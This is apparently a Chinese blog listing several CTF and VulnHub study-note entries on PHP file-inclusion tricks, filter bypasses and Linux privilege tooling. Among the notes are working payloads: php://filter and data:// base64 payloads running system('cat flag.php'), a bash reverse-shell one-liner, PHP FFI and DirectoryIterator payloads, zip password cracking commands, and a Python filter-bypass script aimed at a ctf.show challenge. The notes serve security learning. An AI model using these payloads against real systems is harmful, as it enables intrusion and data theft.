[靶场笔记]第六章

include的直接用法 碰到include()第一反应,应该就是想到php伪协议中的filter,直接上payload php://filter/convert.base64-encode/resource=flag.php 更多有关filter参数的用法,可以往下看 data协议 如果出现类似php、flag等关键字过滤的函数,没法用特殊构造方法绕过的时候,考虑使用data协议配合base64加密的方法,同样下面直接放上payload data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= #上面base64解码:<?php system('cat flag.php'); 大写绕过 一种很骚的方法,str_replace不是在找php吗?那关我PHP什么事? include_path 说实话对于安全防御来说这更像是个可有可无的属性,看看官方是怎么解释的 为了方便理解,假设代码长下面这样 if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file);}else{ highlight_file(__FILE__); 不管include_path在php.ini中如何定义,只要访问的路径是类似../???这样的相对路径或者绝对路径,该属性起不到任何限制作用 日志写入 日志虽然不能用来执行,但如果跟上述include结合,在日志中写入的代码便能在宿主php文件中执行 具体web服务器的默认日志目录可以参考[靶场日记]第一章 php://filter 讲究很多,不过内容基本上都概括在下面两篇博客里 谈一谈php://filter的妙用 file_put_content和死亡·杂糅代码之缘 要注意的是,该伪协议中如果使用的是的write选项,那么后面resource的参数是可以跟一个你自己取文件名,并且会在利用目录下新建该文件并写入内容 base64的等号 等号、加号,这些base64编码结果末尾常见的符号被叫做“占位符”。字面意思,其实就是为了填充编码后的字符串,使得其满足base64的长度规范。在字符串末尾删掉这些符号也不会影响解码结果(这里强调末尾,因为其他位置的占位符删除有可能导致预料意外的结果) convert、string、zlib、mcrypt 上面这几个东西都是伪协议中的过滤器,也只有这四个 不一样的过滤器有不一样的功能,详情可以看这里 过滤器的配合能让你很轻松地绕过大部分防御,详情还是参考file_put_content和死亡·杂糅代码之缘

July 24, 2023 · 1 min · Red

[VulnHub]第二章

本章靶场:Corrosion系列 kali上的目录扫描字典 经过几次vulnhub打靶后发现kali上的目录扫描器可谓是五花八门,一些靶场甚至会出现没有使用指定扫描器就没有正确结果的情况 以下是整理的一些常用字典目录,当然可能有疏漏的地方,但也足以应付大部分场景 #除了默认扫描外,绝对目录均为/usr dirsearch默认扫描 nikto默认扫描 ../share/dirb ../share/dirbuster ../wordlist Bash -i 这个参数的作用是创建一个新的bash交互 但真正实用的是下面这句反弹shell bash -i >& /dev/tcp/IP地址/端口 0>&1 具体分析可以看这里 fcrackzip 这是一个压缩包密码爆破工具。可以使用自定义字符组合 fcrackzip -b -c 'aA1' -l 1-10 -u 123lybbn.zip -b 表示使用暴利破解的方式 -c ‘aA1’ 表示使用大小写字母和数字混合破解的方式 -l 1-10 表示需要破解的密码长度为1到10位 -u 表示只显示破解出来的密码,其他错误的密码不显示出 fcrackzip -D -p lybbnpass.txt -u 123lybbn.zip -D 表示要使用字典破解 -p 表示要使用那个字典破解 nano 我自己本人经常死脑筋只会用vim或者vi来修改文件,但其实很多靶机都会有这个坑,就是没有vi系列,只能用nano UID、GID、EUID、EGID、SUID、SGID 内容比较多,简单说一下 UID是当前实际用户,GID是当前用户组,EUID是文件有效用户,EGID是文件有效用户组 而SUID和SGID更像是设置“全局变量”(其实我也还不太理解,因为暂时没怎么用到),感兴趣的可以看这里 硬链接和软链接 简单来说,在linux文件结构中,硬链接更像是一个“实时同步”,并且即便源文件被删除了也并不影响同步文件的读取。而软链接可以理解成windows系统下的快捷方式。更多细节可以看这里

July 23, 2023 · 1 min · Red

[VulnHub]第一章

本期靶场:EMPIRE系列 getcap和setcap 内容比较复杂,看这里 大概就是可以了解一些文件的操作权限是什么,比如一个有root读取权限的可执行文件就能利用 netdiscover 一句命令即可查完内网存活主机,比nmap快n倍 dirb 目录扫描,dirsearch可以平替,但两者字典库不一定一样 enum4linux 用来枚举已开启SMB服务的linux主机用户 wfuzz 模糊路径搜索器,和dirsearch最大区别就在于能够指定一些参数和模糊路径,例如枚举/~myfiles这样的东西。具体用法看这里 ffuf 也是一个模糊搜索工具,不一样的地方在于这个工具是可以自己选择后缀名的 什么意思呢,比如用wfuzz扫http://192.168.2.17/~secret/.FUZZ这个链接,结果只能是某个目录,而如果使用ffuf,则可以扫描到名叫FUZZ的某个文件html,txt,php等各种可自定义后缀的文件 Base家族 凡是带有=填充符,base64要是不行就试试58或者其他的 ssh2john 这是一个ssh私钥处理脚本,在使用john进行ssh私钥爆破时需要先用这个脚本处理 sudo -V 显示版本编号 -h 会显示版本编号及指令的使用方式说明 -l 显示出自己(执行 sudo 的使用者)的权限 -v 因为 sudo 在第一次执行时或是在 N 分钟内没有执行(N 预设为五)会问密码,这个参数是重新做一次确认,如果超过 N 分钟,也会问密码 -k 将会强迫使用者在下一次执行 sudo 时问密码(不论有没有超过 N 分钟) -b 将要执行的指令放在背景执行 -p prompt 可以更改问密码的提示语,其中 %u 会代换为使用者的帐号名称, %h 会显示主机名称 -u username/#uid 不加此参数,代表要以 root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码) -s 执行环境变数中的 SHELL 所指定的 shell ,或是 /etc/passwd 里所指定的 shell ...

July 5, 2023 · 1 min · Red

[靶场笔记]第五章

DirectoryIterator类 根据官方说法,这是一个提供了简单的接口,用于查看文件系统目录的内容的类,其中__toString()可以用来返回new对象时的参数中的目录内容 通常,该类会结合glob://伪协议读取需要的文件夹下的内容,比如根目录就会用glob:///* 下面是一个简单的payload ?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f- >__toString().'');}exit(0);?> PDO类 同样先看看官方说法,说是为 PHP 访问数据库定义了一个轻量级的一致接口。 看着听绕口,实际上很好理解。只需要知道这是一个可以读取数据库的类即可。不过需要账号密码,这里就需要通过其他方式获取。 利用如下payload,就可以列出库名 $dsn = "mysql:host=localhost;dbname=information_schema"; $db = new PDO($dsn, 'root', 'root'); $rs = $db->query("select database()"); foreach($rs as $row){ echo($row[0])."|"; } FFI FFI是一个可以在php中调用外部语言命令的拓展,所以我们就可以利用这个拓展执行一些C语言命令,比如最典的system(); 下面是一个比较常用的payload c=$ffi = FFI::cdef("int system(const char *command);"); $a='/readflag > 1.txt'; $ffi->system($a); 如果出现类似下面这样的回显 就证明已经利用完成 环境变量构造命令 直接来看环境变量是如何使用的 # echo ${PWD} /root # echo ${PWD:0:1} #表示从0下标开始的第一个字符 / # echo ${PWD:~0:1} #从结尾开始往前的第一个字符 t # echo ${PWD:~0} t # echo ${PWD:~A} #所以字母和0具有同样作用 t # echo ${PATH} /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 相信看到这里你一定知道要怎么构造查看指令了。也就是说,我们可以利用环境变量的输出结果来构造一个类似cat或者nl这样的文件查看指令,就能达到预期效果 ...

June 20, 2023 · 1 min · Red

[靶场笔记]第四章

data伪协议 和php://input一样,用来执行代码,不一样的地方是,data可以直接用GET传值 格式是 明文: data://text/plain,<?php ... ?> base64编码: data://text/plain;base64,... cat的兄弟tac tac是反向输出,可以用来逃避cat过滤 或运算绕过 & 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,来看一下下面这段正则匹配 [0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\- 怎么绕过上面这样的匹配呢?可以发现上面这段匹配里没有|,因此可以使用或运算绕过 大概思路就是将除上述匹配外的Ascii字符筛选出来,然后再进行或运算,计算出结果和想要的命令匹配即可 下面是脚本 import re import requests url="http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080" a=[] ans1="" ans2="" for i in range(0,256): c=chr(i) tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I) if(tmp): continue #print(tmp.group(0)) else: a.append(i) # eval("echo($c);"); mya="system" #函数名 这里修改! myb="ls" #参数 def myfun(k,my): global ans1 global ans2 for i in range (0,len(a)): for j in range(i,len(a)): if(a[i]|a[j]==ord(my[k])): ans1+=chr(a[i]) ans2+=chr(a[j]) return; for k in range(0,len(mya)): myfun(k,mya) data1="(\""+ans1+"\"|\""+ans2+"\")" ans1="" ans2="" for k in range(0,len(myb)): myfun(k,myb) data2="(\""+ans1+"\"|\""+ans2+"\")" data={"c":data1+data2} r=requests.post(url=url,data=data) print(r.text) >/dev/null 2>&1 这句代码得拆开看 先来看看这句>/dev/null。这句的意思就是将前面输出的内容重定向到一个叫/dev/null的目录下,/dev目录一般是设备挂载目录,而null就是空设备的意思,因此就是让输出结果不要输出到任何设备上,包括你的屏幕,而是消失在茫茫太空中 接着是2>&1,首先要知道2在linux标准输出中表示的是错误报错,1是正常输出,所以这句意思是将错误报错也重定向到1输出的地方,而因为1输出已经被丢到太空里,所以2也会跟着他一起流浪 ...

May 18, 2023 · 1 min · Red